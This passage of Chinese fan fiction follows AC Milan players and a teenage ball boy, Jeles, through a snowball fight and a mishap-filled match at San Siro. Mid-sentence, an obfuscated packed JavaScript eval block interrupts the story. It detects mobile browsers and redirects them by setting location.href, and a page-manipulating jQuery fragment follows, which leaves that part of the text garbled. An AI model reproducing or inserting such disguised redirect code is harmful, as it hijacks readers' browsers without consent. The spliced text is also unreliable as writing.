很快，雪球大战全面爆发，马尔蒂尼本想制止，却被维阿的雪球正中面门，他抹掉脸上的雪，露出一个罕见的顽皮笑容：“好吧，既然这样...” 米兰队长展现了他精准的脚法，雪球像制导导弹一样击中目标，耶莱斯躲在雪堆后，用战术板计算着投掷角度，却还是被马尔蒂尼的"弧线球"击中 马尔蒂尼展现电梯球绝技，雪球在空中划出诡异弧线，阿尔贝蒂尼用长传调度"弹药"，组织起立体化攻势，安布罗西尼像推土机般筑起雪墙堡垒，博班优雅地投掷"香蕉球"雪，加图索抱着雪球冲锋，活像人形投石机，因扎吉鬼魅般绕后偷袭，专砸人后颈，德塞利高唱战歌鼓舞士气，结果被集火成雪人，维阿凭借速度发动闪电战，雪球连发堪比机枪扫射，比埃尔霍夫用头槌轰出"重炮雪弹"，赫尔维格堆出北欧风格防御工事，萨拉负责用挪威民谣扰乱敌方心智，罗西扑救雪球时上演"世纪级侧扑"，结果栽进雪堆只露出屁股 当夕阳染红雪山时，米兰全队精疲力尽地躺在雪地上，他们的衣服湿透了，脸上却洋溢着孩子般的笑容，耶莱斯望着粉色的天空，突然觉得，或许这就是家的感觉 “等等！”加图索突然诈尸般坐起，“我们是不是忘了什么东西？” 众人面面相觑，突然齐刷刷看向缆车方向——十二副全新的滑雪板正整整齐齐码在失物招领处，而老板早就带着钞票下山逍遥去了 回程的大巴上，耶莱斯枕着马尔蒂尼的肩膀沉睡，他的运动包里塞满雪水泡烂的纪念品，掌心还攥着那枚银色战术板吊坠，月光透过车窗洒在少年脸上，映出睫毛投下的细小阴影，像落在雪地上的松针 “下次去海边？”科斯塔库塔从前座探头。 “想都别想”马尔蒂尼把毛毯盖在耶莱斯身上，“除非你们先学会游泳” 大巴穿过阿尔卑斯山的隧道，车载广播突然响起《米兰米兰》的旋律，睡梦中的少年无意识地在教练肩头蹭了蹭，嘴角扬起温暖的弧度 在这个飘着松香的雪夜，十四岁的耶莱斯第一次梦见，风雪尽头有盏永远等待他的灯火 6. 第 6 章 清晨六点，马尔蒂尼家的厨房飘着咖啡香，耶莱斯正小心翼翼地将阿德里亚娜做好的提拉米苏端上餐桌，突然听见身后传来科斯塔库塔标志性的破锣嗓子：“保罗！你的小古董把我的球鞋藏哪了？” 马尔蒂尼从报纸后抬起头，手肘精准地落在提拉米苏上，耶莱斯眼睁睁看着自己精心装饰的可可粉图案变成一滩泥泞，耳边响起阿德里亚娜的尖叫：“我的提拉米苏！” “这就是你今天的第一个倒霉事”科斯塔库塔幸灾乐祸地拍拍耶莱斯肩膀，“我打赌接下来会更精彩” 耶莱斯表情臭臭的拍掉科斯塔库塔的手，哒哒哒的上楼收拾自己的装备，今天刚好是他当球童 圣西罗球场 科斯塔库塔像只偷到金丝雀的猫，得意洋洋地拽着耶莱斯的衣领。“这次轮到我了吧？”他朝马尔蒂尼挤眉弄眼，“总不能每次都让你独占''小古董''。” 耶莱斯对着镜子整理球童背心时，突然发现胸前的队徽颜色不对——不是熟悉的红黑，而是刺眼的白黑 “上帝啊！“耶莱斯少见的表情失控露出惊恐的表情，他差点把背心扯破，“这是尤文的！” 更衣室瞬间炸锅 德塞利笑得直拍大腿，维阿甚至掏出手机拍照留念 只有马尔蒂尼皱着眉头检查背心：“谁负责球童装备的？”他转向耶莱斯，“别担心，我让工作人员...“ “不用换了！”科斯塔库塔突然跳出来，“就这样挺好，让尤文那帮家伙以为我们派了个卧底过去” 他坏笑着给耶莱斯整理衣领，“记住啊，待会儿多给他们的球童使绊子” “老天！”马尔蒂尼在场边扶额，“比利，你给那孩子穿了什么？” “记住，”科斯塔库塔弯腰整理耶莱斯的领，“看到我朝你眨眼，就把球扔得慢一点” 他神秘兮兮地压低声音，“让皮耶罗那小子多跑两步” 通道里的灯光忽明忽暗，耶莱斯感觉自己的胃在翻腾，他想起上周训练时，科斯塔库塔教他的"终极球童秘籍"——如何在递毛巾时偷偷把对方球鞋带系在一起 这个馊主意让他在青年队禁闭室度过了难忘的一下午 出场时，圣西罗的声浪几乎掀翻顶棚，耶莱斯跟在科斯塔库塔身后，突然发现自己的黑白条纹背心在红黑海洋中格外扎眼，看台上传来此起彼伏的哄笑，连裁判都忍不住多看了两眼 比赛开始后，耶莱斯蹲在场边，像只警惕的雪貂 他的战术板吊坠在胸前晃荡，反射着刺眼的阳光，第23分钟，皮耶罗一记远射偏出底线，足球像炮弹般砸向场边 "小心！"科斯塔库塔的警告来得太晚，耶莱斯只觉眼前一黑，鼻梁传来剧痛 他踉跄后退，一屁股坐在替补席前的草皮上，德塞利的大手及时扶住他的后背，避免了一场更惨烈的后仰 “嘿！小家伙没事吧？”博班跑过来查看情况，却忍不住笑出声——耶莱斯的鼻子上印着清晰的球纹，活像马戏团的小丑 中场休息时，马尔蒂尼把科斯塔库塔堵在更衣室门口 “这就是你照顾孩子的方式？”他指着耶莱斯红肿的鼻梁，“让他穿着尤文球衣被球砸？“ “意外！纯属意外！"科斯塔库塔举起双手投降，“我发誓下半场会看好他“ 然而下半场开场仅10分钟，耶莱斯就再次成为焦点，尤文后卫蒙特罗在边线解围时失去平衡，整个人像失控的雪橇滑向场边 耶莱斯还没来得及躲开，就被铲翻在地，在草皮上滚了三圈才停下 “我的天！”解说员惊呼，“这是今天第二次了！我们的球童是不是被诅咒了？” 耶莱斯只来得及看见一双钉鞋朝自己飞来，下一秒就躺在了担架上 “这孩子的倒霉程度简直能破吉尼斯纪录”队医一边检查一边摇头，“不过还好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324995|167563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只是擦伤” 比赛结束的哨声响起时，耶莱斯已经成了圣西罗的吉祥物 米兰2-1战胜尤文，全队疯狂庆祝，科斯塔库塔一把抱起耶莱斯，像举奖杯一样把他扛在肩上 “干得好！小古董！”德塞利拍着耶莱斯的后背，“你今天的表现比蒙特罗还抢眼！” 然而乐极生悲，在转圈庆祝时，科斯塔库塔脚下一滑，耶莱斯像颗炮弹般飞了出去。少年在空中划出一道优美的抛物线，最后重重摔在草皮上 更衣室里，马尔蒂尼一边给耶莱斯涂药，一边用眼神杀死科斯塔库塔 “这就是你保证的''看好他''？”他指着耶莱斯膝盖上的擦伤，“先是穿错球衣，然后被球砸，接着被铲倒，最后还被摔在地上...” “我错了！”科斯塔库塔举起双手，“我请客！披萨！意大利面！随便点！” 全对都发出起哄声音，阿维还吹起来口哨，加图索和西罗大喊着要吃穷科斯塔库塔 “对不起啊小古董！”阿尔贝蒂尼伸手拉他，“不过你今天确实给我们带来了好运” 记者们像嗅到血腥味的鲨鱼一样围住耶莱斯 “能说说今天的感受吗？”一个话筒几乎戳到他脸上 耶莱斯揉了揉还在发疼的鼻子，突然想起科斯塔库塔教他的"国际通用手势" 他双手交叉在胸前，露出一个狡黠的微笑：”我觉得今天过得...非常充实。” 这个回答让记者们哄堂大笑，远处的科斯塔库塔朝耶莱斯竖起大拇指，而马尔蒂尼则无奈地摇头——显然，他的"小古董"已经被某个不靠谱的家伙带坏了 当耶莱斯一瘸一拐地走向更衣室时，夕阳将他的影子拉得很长 圣西罗的灯光渐次亮起，照亮了他胸前的红黑队徽——这次终于是正确的颜色了 少年摸了摸战术板吊坠，嘴角扬起一抹笑意：或许倒霉也是一种天赋？